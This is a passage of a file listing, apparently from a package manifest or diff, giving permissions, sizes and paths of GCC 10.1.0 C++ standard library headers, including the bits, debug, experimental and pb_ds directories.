+-rw-r--r-- root root 30948 ./usr/include/c++/10.1.0/bits/iterator_concepts.h
+-rw-r--r-- root root 16968 ./usr/include/c++/10.1.0/bits/list.tcc
+-rw-r--r-- root root 24950 ./usr/include/c++/10.1.0/bits/locale_classes.h
+-rw-r--r-- root root 8375 ./usr/include/c++/10.1.0/bits/locale_classes.tcc
+-rw-r--r-- root root 18801 ./usr/include/c++/10.1.0/bits/locale_conv.h
+-rw-r--r-- root root 92321 ./usr/include/c++/10.1.0/bits/locale_facets.h
+-rw-r--r-- root root 68980 ./usr/include/c++/10.1.0/bits/locale_facets_nonio.h
+-rw-r--r-- root root 45280 ./usr/include/c++/10.1.0/bits/locale_facets_nonio.tcc
+-rw-r--r-- root root 39548 ./usr/include/c++/10.1.0/bits/locale_facets.tcc
+-rw-r--r-- root root 5941 ./usr/include/c++/10.1.0/bits/localefwd.h
+-rw-r--r-- root root 7675 ./usr/include/c++/10.1.0/bits/mask_array.h
+-rw-r--r-- root root 2487 ./usr/include/c++/10.1.0/bits/memoryfwd.h
+-rw-r--r-- root root 6613 ./usr/include/c++/10.1.0/bits/move.h
+-rw-r--r-- root root 4886 ./usr/include/c++/10.1.0/bits/nested_exception.h
+-rw-r--r-- root root 8216 ./usr/include/c++/10.1.0/bits/node_handle.h
+-rw-r--r-- root root 4002 ./usr/include/c++/10.1.0/bits/ostream_insert.h
+-rw-r--r-- root root 12315 ./usr/include/c++/10.1.0/bits/ostream.tcc
+-rw-r--r-- root root 7943 ./usr/include/c++/10.1.0/bits/parse_numbers.h
+-rw-r--r-- root root 8465 ./usr/include/c++/10.1.0/bits/postypes.h
+-rw-r--r-- root root 10153 ./usr/include/c++/10.1.0/bits/predefined_ops.h
+-rw-r--r-- root root 6728 ./usr/include/c++/10.1.0/bits/ptr_traits.h
+-rw-r--r-- root root 5053 ./usr/include/c++/10.1.0/bits/quoted_string.h
+-rw-r--r-- root root 178118 ./usr/include/c++/10.1.0/bits/random.h
+-rw-r--r-- root root 103405 ./usr/include/c++/10.1.0/bits/random.tcc
+-rw-r--r-- root root 32001 ./usr/include/c++/10.1.0/bits/range_access.h
+-rw-r--r-- root root 6516 ./usr/include/c++/10.1.0/bits/range_cmp.h
+-rw-r--r-- root root 18319 ./usr/include/c++/10.1.0/bits/ranges_algobase.h
+-rw-r--r-- root root 121079 ./usr/include/c++/10.1.0/bits/ranges_algo.h
+-rw-r--r-- root root 18023 ./usr/include/c++/10.1.0/bits/ranges_uninitialized.h
+-rw-r--r-- root root 13207 ./usr/include/c++/10.1.0/bits/refwrap.h
+-rw-r--r-- root root 10738 ./usr/include/c++/10.1.0/bits/regex_automaton.h
+-rw-r--r-- root root 7722 ./usr/include/c++/10.1.0/bits/regex_automaton.tcc
+-rw-r--r-- root root 16481 ./usr/include/c++/10.1.0/bits/regex_compiler.h
+-rw-r--r-- root root 18929 ./usr/include/c++/10.1.0/bits/regex_compiler.tcc
+-rw-r--r-- root root 14729 ./usr/include/c++/10.1.0/bits/regex_constants.h
+-rw-r--r-- root root 4904 ./usr/include/c++/10.1.0/bits/regex_error.h
+-rw-r--r-- root root 7488 ./usr/include/c++/10.1.0/bits/regex_executor.h
+-rw-r--r-- root root 18841 ./usr/include/c++/10.1.0/bits/regex_executor.tcc
+-rw-r--r-- root root 102775 ./usr/include/c++/10.1.0/bits/regex.h
+-rw-r--r-- root root 7088 ./usr/include/c++/10.1.0/bits/regex_scanner.h
+-rw-r--r-- root root 15009 ./usr/include/c++/10.1.0/bits/regex_scanner.tcc
+-rw-r--r-- root root 16524 ./usr/include/c++/10.1.0/bits/regex.tcc
+-rw-r--r-- root root 9867 ./usr/include/c++/10.1.0/bits/shared_ptr_atomic.h
+-rw-r--r-- root root 55312 ./usr/include/c++/10.1.0/bits/shared_ptr_base.h
+-rw-r--r-- root root 30837 ./usr/include/c++/10.1.0/bits/shared_ptr.h
+-rw-r--r-- root root 9578 ./usr/include/c++/10.1.0/bits/slice_array.h
+-rw-r--r-- root root 47238 ./usr/include/c++/10.1.0/bits/specfun.h
+-rw-r--r-- root root 10142 ./usr/include/c++/10.1.0/bits/sstream.tcc
+-rw-r--r-- root root 3360 ./usr/include/c++/10.1.0/bits/std_abs.h
+-rw-r--r-- root root 21612 ./usr/include/c++/10.1.0/bits/std_function.h
+-rw-r--r-- root root 4767 ./usr/include/c++/10.1.0/bits/std_mutex.h
+-rw-r--r-- root root 71744 ./usr/include/c++/10.1.0/bits/stl_algobase.h
+-rw-r--r-- root root 214835 ./usr/include/c++/10.1.0/bits/stl_algo.h
+-rw-r--r-- root root 34767 ./usr/include/c++/10.1.0/bits/stl_bvector.h
+-rw-r--r-- root root 8521 ./usr/include/c++/10.1.0/bits/stl_construct.h
+-rw-r--r-- root root 76807 ./usr/include/c++/10.1.0/bits/stl_deque.h
+-rw-r--r-- root root 42293 ./usr/include/c++/10.1.0/bits/stl_function.h
+-rw-r--r-- root root 20756 ./usr/include/c++/10.1.0/bits/stl_heap.h
+-rw-r--r-- root root 8178 ./usr/include/c++/10.1.0/bits/stl_iterator_base_funcs.h
+-rw-r--r-- root root 9660 ./usr/include/c++/10.1.0/bits/stl_iterator_base_types.h
+-rw-r--r-- root root 69682 ./usr/include/c++/10.1.0/bits/stl_iterator.h
+-rw-r--r-- root root 68748 ./usr/include/c++/10.1.0/bits/stl_list.h
+-rw-r--r-- root root 54669 ./usr/include/c++/10.1.0/bits/stl_map.h
+-rw-r--r-- root root 43510 ./usr/include/c++/10.1.0/bits/stl_multimap.h
+-rw-r--r-- root root 37662 ./usr/include/c++/10.1.0/bits/stl_multiset.h
+-rw-r--r-- root root 14600 ./usr/include/c++/10.1.0/bits/stl_numeric.h
+-rw-r--r-- root root 20163 ./usr/include/c++/10.1.0/bits/stl_pair.h
+-rw-r--r-- root root 25036 ./usr/include/c++/10.1.0/bits/stl_queue.h
+-rw-r--r-- root root 3830 ./usr/include/c++/10.1.0/bits/stl_raw_storage_iter.h
+-rw-r--r-- root root 4594 ./usr/include/c++/10.1.0/bits/stl_relops.h
+-rw-r--r-- root root 37922 ./usr/include/c++/10.1.0/bits/stl_set.h
+-rw-r--r-- root root 12684 ./usr/include/c++/10.1.0/bits/stl_stack.h
+-rw-r--r-- root root 8623 ./usr/include/c++/10.1.0/bits/stl_tempbuf.h
+-rw-r--r-- root root 74660 ./usr/include/c++/10.1.0/bits/stl_tree.h
+-rw-r--r-- root root 33161 ./usr/include/c++/10.1.0/bits/stl_uninitialized.h
+-rw-r--r-- root root 65919 ./usr/include/c++/10.1.0/bits/stl_vector.h
+-rw-r--r-- root root 15462 ./usr/include/c++/10.1.0/bits/streambuf_iterator.h
+-rw-r--r-- root root 4929 ./usr/include/c++/10.1.0/bits/streambuf.tcc
+-rw-r--r-- root root 7694 ./usr/include/c++/10.1.0/bits/stream_iterator.h
+-rw-r--r-- root root 2690 ./usr/include/c++/10.1.0/bits/stringfwd.h
+-rw-r--r-- root root 6698 ./usr/include/c++/10.1.0/bits/string_view.tcc
+-rw-r--r-- root root 10730 ./usr/include/c++/10.1.0/bits/uniform_int_dist.h
+-rw-r--r-- root root 6090 ./usr/include/c++/10.1.0/bits/unique_lock.h
+-rw-r--r-- root root 31291 ./usr/include/c++/10.1.0/bits/unique_ptr.h
+-rw-r--r-- root root 76744 ./usr/include/c++/10.1.0/bits/unordered_map.h
+-rw-r--r-- root root 60612 ./usr/include/c++/10.1.0/bits/unordered_set.h
+-rw-r--r-- root root 6870 ./usr/include/c++/10.1.0/bits/uses_allocator.h
+-rw-r--r-- root root 22839 ./usr/include/c++/10.1.0/bits/valarray_after.h
+-rw-r--r-- root root 21295 ./usr/include/c++/10.1.0/bits/valarray_array.h
+-rw-r--r-- root root 7254 ./usr/include/c++/10.1.0/bits/valarray_array.tcc
+-rw-r--r-- root root 19142 ./usr/include/c++/10.1.0/bits/valarray_before.h
+-rw-r--r-- root root 30870 ./usr/include/c++/10.1.0/bits/vector.tcc
+-rw-r--r-- root root 1648 ./usr/include/c++/10.1.0/cassert
+-rw-r--r-- root root 1335 ./usr/include/c++/10.1.0/ccomplex
+-rw-r--r-- root root 2409 ./usr/include/c++/10.1.0/cctype
+-rw-r--r-- root root 1770 ./usr/include/c++/10.1.0/cerrno
+-rw-r--r-- root root 2051 ./usr/include/c++/10.1.0/cfenv
+-rw-r--r-- root root 1889 ./usr/include/c++/10.1.0/cfloat
+-rw-r--r-- root root 17991 ./usr/include/c++/10.1.0/charconv
+-rw-r--r-- root root 38834 ./usr/include/c++/10.1.0/chrono
+-rw-r--r-- root root 2157 ./usr/include/c++/10.1.0/cinttypes
+-rw-r--r-- root root 1464 ./usr/include/c++/10.1.0/ciso646
+-rw-r--r-- root root 1913 ./usr/include/c++/10.1.0/climits
+-rw-r--r-- root root 1905 ./usr/include/c++/10.1.0/clocale
+-rw-r--r-- root root 49130 ./usr/include/c++/10.1.0/cmath
+-rw-r--r-- root root 5275 ./usr/include/c++/10.1.0/codecvt
+-rw-r--r-- root root 27896 ./usr/include/c++/10.1.0/compare
+-rw-r--r-- root root 56646 ./usr/include/c++/10.1.0/complex
+-rw-r--r-- root root 1596 ./usr/include/c++/10.1.0/complex.h
+-rw-r--r-- root root 12267 ./usr/include/c++/10.1.0/concepts
+-rw-r--r-- root root 12993 ./usr/include/c++/10.1.0/condition_variable
+-rw-r--r-- root root 7898 ./usr/include/c++/10.1.0/coroutine
+-rw-r--r-- root root 1949 ./usr/include/c++/10.1.0/csetjmp
+-rw-r--r-- root root 1855 ./usr/include/c++/10.1.0/csignal
+-rw-r--r-- root root 1407 ./usr/include/c++/10.1.0/cstdalign
+-rw-r--r-- root root 1868 ./usr/include/c++/10.1.0/cstdarg
+-rw-r--r-- root root 1401 ./usr/include/c++/10.1.0/cstdbool
+-rw-r--r-- root root 6274 ./usr/include/c++/10.1.0/cstddef
+-rw-r--r-- root root 2335 ./usr/include/c++/10.1.0/cstdint
+-rw-r--r-- root root 4439 ./usr/include/c++/10.1.0/cstdio
+-rw-r--r-- root root 6325 ./usr/include/c++/10.1.0/cstdlib
+-rw-r--r-- root root 3156 ./usr/include/c++/10.1.0/cstring
+-rw-r--r-- root root 1360 ./usr/include/c++/10.1.0/ctgmath
+-rw-r--r-- root root 2298 ./usr/include/c++/10.1.0/ctime
+-rw-r--r-- root root 2210 ./usr/include/c++/10.1.0/cuchar
+-rw-r--r-- root root 6542 ./usr/include/c++/10.1.0/cwchar
+-rw-r--r-- root root 2793 ./usr/include/c++/10.1.0/cwctype
+-rw-r--r-- root root 22011 ./usr/include/c++/10.1.0/cxxabi.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/debug
+-rw-r--r-- root root 12476 ./usr/include/c++/10.1.0/debug/array
+-rw-r--r-- root root 2411 ./usr/include/c++/10.1.0/debug/assertions.h
+-rw-r--r-- root root 11903 ./usr/include/c++/10.1.0/debug/bitset
+-rw-r--r-- root root 5881 ./usr/include/c++/10.1.0/debug/debug.h
+-rw-r--r-- root root 17979 ./usr/include/c++/10.1.0/debug/deque
+-rw-r--r-- root root 16991 ./usr/include/c++/10.1.0/debug/formatter.h
+-rw-r--r-- root root 27420 ./usr/include/c++/10.1.0/debug/forward_list
+-rw-r--r-- root root 15612 ./usr/include/c++/10.1.0/debug/functions.h
+-rw-r--r-- root root 9985 ./usr/include/c++/10.1.0/debug/helper_functions.h
+-rw-r--r-- root root 25327 ./usr/include/c++/10.1.0/debug/list
+-rw-r--r-- root root 20915 ./usr/include/c++/10.1.0/debug/macros.h
+-rw-r--r-- root root 1656 ./usr/include/c++/10.1.0/debug/map
+-rw-r--r-- root root 23035 ./usr/include/c++/10.1.0/debug/map.h
+-rw-r--r-- root root 20301 ./usr/include/c++/10.1.0/debug/multimap.h
+-rw-r--r-- root root 19200 ./usr/include/c++/10.1.0/debug/multiset.h
+-rw-r--r-- root root 9279 ./usr/include/c++/10.1.0/debug/safe_base.h
+-rw-r--r-- root root 3413 ./usr/include/c++/10.1.0/debug/safe_container.h
+-rw-r--r-- root root 30112 ./usr/include/c++/10.1.0/debug/safe_iterator.h
+-rw-r--r-- root root 16171 ./usr/include/c++/10.1.0/debug/safe_iterator.tcc
+-rw-r--r-- root root 13739 ./usr/include/c++/10.1.0/debug/safe_local_iterator.h
+-rw-r--r-- root root 2905 ./usr/include/c++/10.1.0/debug/safe_local_iterator.tcc
+-rw-r--r-- root root 5096 ./usr/include/c++/10.1.0/debug/safe_sequence.h
+-rw-r--r-- root root 5040 ./usr/include/c++/10.1.0/debug/safe_sequence.tcc
+-rw-r--r-- root root 6895 ./usr/include/c++/10.1.0/debug/safe_unordered_base.h
+-rw-r--r-- root root 3866 ./usr/include/c++/10.1.0/debug/safe_unordered_container.h
+-rw-r--r-- root root 3263 ./usr/include/c++/10.1.0/debug/safe_unordered_container.tcc
+-rw-r--r-- root root 1620 ./usr/include/c++/10.1.0/debug/set
+-rw-r--r-- root root 19199 ./usr/include/c++/10.1.0/debug/set.h
+-rw-r--r-- root root 4542 ./usr/include/c++/10.1.0/debug/stl_iterator.h
+-rw-r--r-- root root 36471 ./usr/include/c++/10.1.0/debug/string
+-rw-r--r-- root root 41394 ./usr/include/c++/10.1.0/debug/unordered_map
+-rw-r--r-- root root 35429 ./usr/include/c++/10.1.0/debug/unordered_set
+-rw-r--r-- root root 23523 ./usr/include/c++/10.1.0/debug/vector
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/decimal
+-rw-r--r-- root root 17636 ./usr/include/c++/10.1.0/decimal/decimal
+-rw-r--r-- root root 16999 ./usr/include/c++/10.1.0/decimal/decimal.h
+-rw-r--r-- root root 3973 ./usr/include/c++/10.1.0/deque
+-rw-r--r-- root root 4848 ./usr/include/c++/10.1.0/exception
+-rw-r--r-- root root 1803 ./usr/include/c++/10.1.0/execution
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/experimental
+-rw-r--r-- root root 3688 ./usr/include/c++/10.1.0/experimental/algorithm
+-rw-r--r-- root root 16010 ./usr/include/c++/10.1.0/experimental/any
+-rw-r--r-- root root 3371 ./usr/include/c++/10.1.0/experimental/array
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/experimental/bits
+-rw-r--r-- root root 10799 ./usr/include/c++/10.1.0/experimental/bits/fs_dir.h
+-rw-r--r-- root root 8524 ./usr/include/c++/10.1.0/experimental/bits/fs_fwd.h
+-rw-r--r-- root root 9340 ./usr/include/c++/10.1.0/experimental/bits/fs_ops.h
+-rw-r--r-- root root 36768 ./usr/include/c++/10.1.0/experimental/bits/fs_path.h
+-rw-r--r-- root root 2227 ./usr/include/c++/10.1.0/experimental/bits/lfts_config.h
+-rw-r--r-- root root 4814 ./usr/include/c++/10.1.0/experimental/bits/net.h
+-rw-r--r-- root root 20205 ./usr/include/c++/10.1.0/experimental/bits/shared_ptr.h
+-rw-r--r-- root root 6816 ./usr/include/c++/10.1.0/experimental/bits/string_view.tcc
+-rw-r--r-- root root 28719 ./usr/include/c++/10.1.0/experimental/buffer
+-rw-r--r-- root root 1960 ./usr/include/c++/10.1.0/experimental/chrono
+-rw-r--r-- root root 2296 ./usr/include/c++/10.1.0/experimental/deque
+-rw-r--r-- root root 55081 ./usr/include/c++/10.1.0/experimental/executor
+-rw-r--r-- root root 1589 ./usr/include/c++/10.1.0/experimental/filesystem
+-rw-r--r-- root root 2367 ./usr/include/c++/10.1.0/experimental/forward_list
+-rw-r--r-- root root 12311 ./usr/include/c++/10.1.0/experimental/functional
+-rw-r--r-- root root 65288 ./usr/include/c++/10.1.0/experimental/internet
+-rw-r--r-- root root 21331 ./usr/include/c++/10.1.0/experimental/io_context
+-rw-r--r-- root root 3534 ./usr/include/c++/10.1.0/experimental/iterator
+-rw-r--r-- root root 2265 ./usr/include/c++/10.1.0/experimental/list
+-rw-r--r-- root root 2594 ./usr/include/c++/10.1.0/experimental/map
+-rw-r--r-- root root 6056 ./usr/include/c++/10.1.0/experimental/memory
+-rw-r--r-- root root 17388 ./usr/include/c++/10.1.0/experimental/memory_resource
+-rw-r--r-- root root 1542 ./usr/include/c++/10.1.0/experimental/net
+-rw-r--r-- root root 3744 ./usr/include/c++/10.1.0/experimental/netfwd
+-rw-r--r-- root root 2858 ./usr/include/c++/10.1.0/experimental/numeric
+-rw-r--r-- root root 26832 ./usr/include/c++/10.1.0/experimental/optional
+-rw-r--r-- root root 15335 ./usr/include/c++/10.1.0/experimental/propagate_const
+-rw-r--r-- root root 2499 ./usr/include/c++/10.1.0/experimental/random
+-rw-r--r-- root root 2438 ./usr/include/c++/10.1.0/experimental/ratio
+-rw-r--r-- root root 2121 ./usr/include/c++/10.1.0/experimental/regex
+-rw-r--r-- root root 2471 ./usr/include/c++/10.1.0/experimental/set
+-rw-r--r-- root root 76228 ./usr/include/c++/10.1.0/experimental/socket
+-rw-r--r-- root root 2699 ./usr/include/c++/10.1.0/experimental/source_location
+-rw-r--r-- root root 2920 ./usr/include/c++/10.1.0/experimental/string
+-rw-r--r-- root root 22662 ./usr/include/c++/10.1.0/experimental/string_view
+-rw-r--r-- root root 2045 ./usr/include/c++/10.1.0/experimental/system_error
+-rw-r--r-- root root 5794 ./usr/include/c++/10.1.0/experimental/timer
+-rw-r--r-- root root 2472 ./usr/include/c++/10.1.0/experimental/tuple
+-rw-r--r-- root root 11221 ./usr/include/c++/10.1.0/experimental/type_traits
+-rw-r--r-- root root 2845 ./usr/include/c++/10.1.0/experimental/unordered_map
+-rw-r--r-- root root 2728 ./usr/include/c++/10.1.0/experimental/unordered_set
+-rw-r--r-- root root 1657 ./usr/include/c++/10.1.0/experimental/utility
+-rw-r--r-- root root 2355 ./usr/include/c++/10.1.0/experimental/vector
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext
+-rw-r--r-- root root 19255 ./usr/include/c++/10.1.0/ext/algorithm
+-rw-r--r-- root root 3972 ./usr/include/c++/10.1.0/ext/aligned_buffer.h
+-rw-r--r-- root root 6139 ./usr/include/c++/10.1.0/ext/alloc_traits.h
+-rw-r--r-- root root 3477 ./usr/include/c++/10.1.0/ext/atomicity.h
+-rw-r--r-- root root 32193 ./usr/include/c++/10.1.0/ext/bitmap_allocator.h
+-rw-r--r-- root root 4447 ./usr/include/c++/10.1.0/ext/cast.h
+-rw-r--r-- root root 6570 ./usr/include/c++/10.1.0/ext/cmath
+-rw-r--r-- root root 16353 ./usr/include/c++/10.1.0/ext/codecvt_specializations.h
+-rw-r--r-- root root 7542 ./usr/include/c++/10.1.0/ext/concurrence.h
+-rw-r--r-- root root 5881 ./usr/include/c++/10.1.0/ext/debug_allocator.h
+-rw-r--r-- root root 2247 ./usr/include/c++/10.1.0/ext/enc_filebuf.h
+-rw-r--r-- root root 6277 ./usr/include/c++/10.1.0/ext/extptr_allocator.h
+-rw-r--r-- root root 14172 ./usr/include/c++/10.1.0/ext/functional
+-rw-r--r-- root root 17822 ./usr/include/c++/10.1.0/ext/hash_map
+-rw-r--r-- root root 17323 ./usr/include/c++/10.1.0/ext/hash_set
+-rw-r--r-- root root 4031 ./usr/include/c++/10.1.0/ext/iterator
+-rw-r--r-- root root 5696 ./usr/include/c++/10.1.0/ext/malloc_allocator.h
+-rw-r--r-- root root 7173 ./usr/include/c++/10.1.0/ext/memory
+-rw-r--r-- root root 23628 ./usr/include/c++/10.1.0/ext/mt_allocator.h
+-rw-r--r-- root root 5587 ./usr/include/c++/10.1.0/ext/new_allocator.h
+-rw-r--r-- root root 4739 ./usr/include/c++/10.1.0/ext/numeric
+-rw-r--r-- root root 4570 ./usr/include/c++/10.1.0/ext/numeric_traits.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds
+-rw-r--r-- root root 30110 ./usr/include/c++/10.1.0/ext/pb_ds/assoc_container.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_
+-rw-r--r-- root root 9027 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/binary_heap_.hpp
+-rw-r--r-- root root 4338 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/const_iterator.hpp
+-rw-r--r-- root root 4222 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2574 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 2802 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/entry_cmp.hpp
+-rw-r--r-- root root 2767 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/entry_pred.hpp
+-rw-r--r-- root root 5537 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 2630 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/find_fn_imps.hpp
+-rw-r--r-- root root 2114 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/info_fn_imps.hpp
+-rw-r--r-- root root 5011 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 2303 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/iterators_fn_imps.hpp
+-rw-r--r-- root root 4363 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/point_const_iterator.hpp
+-rw-r--r-- root root 1935 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 6133 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/resize_policy.hpp
+-rw-r--r-- root root 4956 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/split_join_fn_imps.hpp
+-rw-r--r-- root root 2480 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_
+-rw-r--r-- root root 6185 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/binomial_heap_base_.hpp
+-rw-r--r-- root root 2721 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 3501 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/debug_fn_imps.hpp
+-rw-r--r-- root root 4515 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/erase_fn_imps.hpp
+-rw-r--r-- root root 2378 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/find_fn_imps.hpp
+-rw-r--r-- root root 5304 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/insert_fn_imps.hpp
+-rw-r--r-- root root 5398 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/split_join_fn_imps.hpp
+-rw-r--r-- root root 3922 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_/binomial_heap_.hpp
+-rw-r--r-- root root 2184 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 1930 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_/debug_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_
+-rw-r--r-- root root 12468 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/bin_search_tree_.hpp
+-rw-r--r-- root root 5539 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 8104 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/debug_fn_imps.hpp
+-rw-r--r-- root root 2952 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/erase_fn_imps.hpp
+-rw-r--r-- root root 4712 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/find_fn_imps.hpp
+-rw-r--r-- root root 2132 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/info_fn_imps.hpp
+-rw-r--r-- root root 5514 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/insert_fn_imps.hpp
+-rw-r--r-- root root 3548 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/iterators_fn_imps.hpp
+-rw-r--r-- root root 5921 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/node_iterators.hpp
+-rw-r--r-- root root 8961 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/point_iterators.hpp
+-rw-r--r-- root root 1938 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 2942 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/r_erase_fn_imps.hpp
+-rw-r--r-- root root 4223 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/rotate_fn_imps.hpp
+-rw-r--r-- root root 4040 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/split_join_fn_imps.hpp
+-rw-r--r-- root root 6374 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/traits.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/branch_policy
+-rw-r--r-- root root 4020 ./usr/include/c++/10.1.0/ext/pb_ds/detail/branch_policy/branch_policy.hpp
+-rw-r--r-- root root 2379 ./usr/include/c++/10.1.0/ext/pb_ds/detail/branch_policy/null_node_metadata.hpp
+-rw-r--r-- root root 3254 ./usr/include/c++/10.1.0/ext/pb_ds/detail/branch_policy/traits.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_
+-rw-r--r-- root root 20071 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/cc_ht_map_.hpp
+-rw-r--r-- root root 2798 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/cmp_fn_imps.hpp
+-rw-r--r-- root root 2874 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/cond_key_dtor_entry_dealtor.hpp
+-rw-r--r-- root root 5824 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/constructor_destructor_fn_imps.hpp
+-rw-r--r-- root root 2259 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/constructor_destructor_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2339 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/constructor_destructor_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2726 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 2033 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/debug_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2181 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/debug_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2987 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/entry_list_fn_imps.hpp
+-rw-r--r-- root root 3278 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 3297 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/erase_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 3258 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/erase_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2518 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/find_fn_imps.hpp
+-rw-r--r-- root root 1779 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/find_store_hash_fn_imps.hpp
+-rw-r--r-- root root 3163 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/info_fn_imps.hpp
+-rw-r--r-- root root 1896 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 2651 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/insert_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2707 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/insert_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2697 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/iterators_fn_imps.hpp
+-rw-r--r-- root root 2514 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 4095 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/resize_fn_imps.hpp
+-rw-r--r-- root root 2275 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/resize_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2307 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/resize_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2161 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/size_fn_imps.hpp
